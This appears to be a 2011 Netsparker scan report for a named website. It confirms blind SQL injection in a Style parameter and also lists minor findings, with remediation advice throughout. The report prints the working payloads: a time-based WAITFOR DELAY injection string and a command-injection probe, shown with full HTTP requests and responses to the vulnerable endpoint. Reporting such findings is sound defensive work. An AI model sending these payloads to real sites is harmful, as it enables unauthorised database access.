Blind SQL Injection, CWE-89, simonandco.netLoading
Netsparker - Scan Report Summary
|
||||||||||
|
Total RequestsAverage Speedreq/sec. |
5
identified
4
confirmed
1
critical
2
informational
|
||||||||
GHDB, DORK TestsGHDB, DORK Tests
|
||||||||||
|
Authentication
Scheduled
|
|||||||||
VULNERABILITIESVulnerabilities
|
||
 |
CRITICAL
20 %
LOW
40 %
INFORMATION
40 %
|
|
Blind SQL Injection
Blind SQL Injection
1
TOTAL
CRITICAL
CONFIRMED
1
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed us to identify and confirm the SQL Injection.
Impact
Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
- Reading, Updating and Deleting arbitrary data from the database
- Executing commands on the underlying operating system
- Reading, Updating and Deleting arbitrary tables from the database
Actions to Take
- See the remedy for solution.
- If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
- Locate the all dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
- Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.
Remedy
A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.
Required Skills for Successful Exploitation
There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.
External References
Remedy References
|
- /ard/stylesheet/onestyle.asp
/ard/stylesheet/onestyle.asp CONFIRMED |
Parameters
| Parameter | Type | Value |
| AID | GET | 1825 |
| Style | GET | ';WAITFOR DELAY '0:0:25'-- |
Request
GET /ard/stylesheet/onestyle.asp?AID=1825&Style=%27;WAITFOR%20DELAY%20%270:0:25%27-- HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.simonandco.net
Cookie: ASPSESSIONIDSQQTBQCR=HEJGDPAAIOBCOHKJKOKJAHFN
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.simonandco.net
Cookie: ASPSESSIONIDSQQTBQCR=HEJGDPAAIOBCOHKJKOKJAHFN
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Fri, 15 Apr 2011 22:17:15 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 0
Content-Type: text/css
Cache-control: private
Date: Fri, 15 Apr 2011 22:17:15 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 0
Content-Type: text/css
Cache-control: private
Internal Server Error
Internal Server Error
1
TOTAL
LOW
CONFIRMED
1
The Server responded with an HTTP status 500. This indicates that there is a server-side error. Reasons may vary. The behavior should be analysed carefully. If Netsparker is able to find a security issue in the same resource it will report this as a separate vulnerability.
Impact
The impact may vary depending on the condition. Generally this indicates poor coding practices, not enough error checking, sanitization and whitelisting. However there might be a bigger issue such as SQL Injection. If that's the case Netsparker will check for other possible issues and report them separately.
Remedy
Analyse this issue and review the application code in order to handle unexpected errors, this should be a generic practice which does not disclose further information upon an error. All errors should be handled server side only.
|
- /ard/stylesheet/onestyle.asp
/ard/stylesheet/onestyle.asp CONFIRMED |
Parameters
| Parameter | Type | Value |
| AID | GET | 1825 |
| Style | GET | '& SET /A 0xFFF9999-2 & |
Request
GET /ard/stylesheet/onestyle.asp?AID=1825&Style=%27%26%20SET%20%2FA%200xFFF9999-2%20%26 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.simonandco.net
Cookie: ASPSESSIONIDSQQTBQCR=HEJGDPAAIOBCOHKJKOKJAHFN
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.simonandco.net
Cookie: ASPSESSIONIDSQQTBQCR=HEJGDPAAIOBCOHKJKOKJAHFN
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error
Date: Fri, 15 Apr 2011 22:16:44 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 1262
Content-Type: text/css
Expires: Fri, 15 Apr 2011 22:16:44 GMT
Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Server Error</title>
<meta name="vs_defaultClientScript" content="JavaScript">
<meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5">
<meta name="GENERATOR" content="Microsoft Visual Studio.NET 7.0">
<meta name="ProgId" content="VisualStudio.HTML">
<meta name="Originator" content="Microsoft Visual Studio.NET 7.0">
<STYLE type="text/css">
P, BLOCKQUOTE, TD { FONT-SIZE: 12px; COLOR: black; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif }
H1 { FONT-SIZE: 16px; FONT-WEIGHT: bold; COLOR: black; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif }
</STYLE>
</head>
<body>
<h1>Internal Server Error</h1>
<p align="justify">An Internal Error has occured which may prevent you from
continuing with the request you made. It is possible that the database is
temporarily offline, or that your browser timed out and the session connection
was lost.</p>
<p>To help us resolve any problems, detailed information about the problem has
already been sent to us.</p>
<p><a href="http://www.simonandco.net">Click here</a> to return to the main website.</p>
</body>
</html>
Date: Fri, 15 Apr 2011 22:16:44 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 1262
Content-Type: text/css
Expires: Fri, 15 Apr 2011 22:16:44 GMT
Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Server Error</title>
<meta name="vs_defaultClientScript" content="JavaScript">
<meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5">
<meta name="GENERATOR" content="Microsoft Visual Studio.NET 7.0">
<meta name="ProgId" content="VisualStudio.HTML">
<meta name="Originator" content="Microsoft Visual Studio.NET 7.0">
<STYLE type="text/css">
P, BLOCKQUOTE, TD { FONT-SIZE: 12px; COLOR: black; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif }
H1 { FONT-SIZE: 16px; FONT-WEIGHT: bold; COLOR: black; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif }
</STYLE>
</head>
<body>
<h1>Internal Server Error</h1>
<p align="justify">An Internal Error has occured which may prevent you from
continuing with the request you made. It is possible that the database is
temporarily offline, or that your browser timed out and the session connection
was lost.</p>
<p>To help us resolve any problems, detailed information about the problem has
already been sent to us.</p>
<p><a href="http://www.simonandco.net">Click here</a> to return to the main website.</p>
</body>
</html>
Cookie Not Marked As HttpOnly
Cookie Not Marked As HttpOnly
1
TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..
Impact
During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.Actions to Take
- See the remedy for solution
- Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.
Remedy
Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.
External References
|
- /ard/stylesheet/onestyle.asp
/ard/stylesheet/onestyle.asp CONFIRMED |
Identified Cookie
ASPSESSIONIDSQQTBQCR
Request
GET /ard/stylesheet/onestyle.asp?AID=1825&Style=%24%7binjecthere%7d HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.simonandco.net
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.simonandco.net
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Fri, 15 Apr 2011 22:16:41 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 0
Content-Type: text/css
Set-Cookie: ASPSESSIONIDSQQTBQCR=HEJGDPAAIOBCOHKJKOKJAHFN; path=/
Cache-control: private
Date: Fri, 15 Apr 2011 22:16:41 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 0
Content-Type: text/css
Set-Cookie: ASPSESSIONIDSQQTBQCR=HEJGDPAAIOBCOHKJKOKJAHFN; path=/
Cache-control: private
Microsoft SQL Server Identified
Microsoft SQL Server Identified
1
TOTAL
INFORMATION
CONFIRMED
1
Netsparker identified that the target web site is using Microsoft SQL Server as backend database. This issue is reported for information purposes only.
Impact
This issue is reported as additional information only, there is no direct impact arising from this issue.
|
- /ard/stylesheet/onestyle.asp
/ard/stylesheet/onestyle.asp CONFIRMED |
Request
GET /ard/stylesheet/onestyle.asp?AID=1825&Style=%27;WAITFOR%20DELAY%20%270:0:25%27-- HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.simonandco.net
Cookie: ASPSESSIONIDSQQTBQCR=HEJGDPAAIOBCOHKJKOKJAHFN
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.simonandco.net
Cookie: ASPSESSIONIDSQQTBQCR=HEJGDPAAIOBCOHKJKOKJAHFN
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Fri, 15 Apr 2011 22:17:15 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 0
Content-Type: text/css
Cache-control: private
Date: Fri, 15 Apr 2011 22:17:15 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 0
Content-Type: text/css
Cache-control: private
IIS Version Disclosure
IIS Version Disclosure
1
TOTAL
INFORMATION
Netsparker identified that the target web server is disclosing the web server's version in the HTTP response. This information can help an attacker to gain a greater understanding of the system in use and potentially develop further attacks targeted at the specific web server version.
Impact
An attacker can look for specific security vulnerabilities for the version identified through the SERVER header information.
Remediation
Configure your web server to prevent information leakage from the
SERVER header of its HTTP response.
|
- /ard/stylesheet/onestyle.asp
/ard/stylesheet/onestyle.asp |
Extracted Version
Microsoft-IIS/6.0
Request
GET /ard/stylesheet/onestyle.asp?AID=1825&Style=%24%7Binjecthere%7D HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.simonandco.net
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.simonandco.net
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Date: Fri, 15 Apr 2011 22:16:40 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 0
Content-Type: text/css
Set-Cookie: ASPSESSIONIDSQQTBQCR=FEJGDPAAFEEMFHHCGNONDJLM; path=/
Cache-control: private
Date: Fri, 15 Apr 2011 22:16:40 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 0
Content-Type: text/css
Set-Cookie: ASPSESSIONIDSQQTBQCR=FEJGDPAAFEEMFHHCGNONDJLM; path=/
Cache-control: private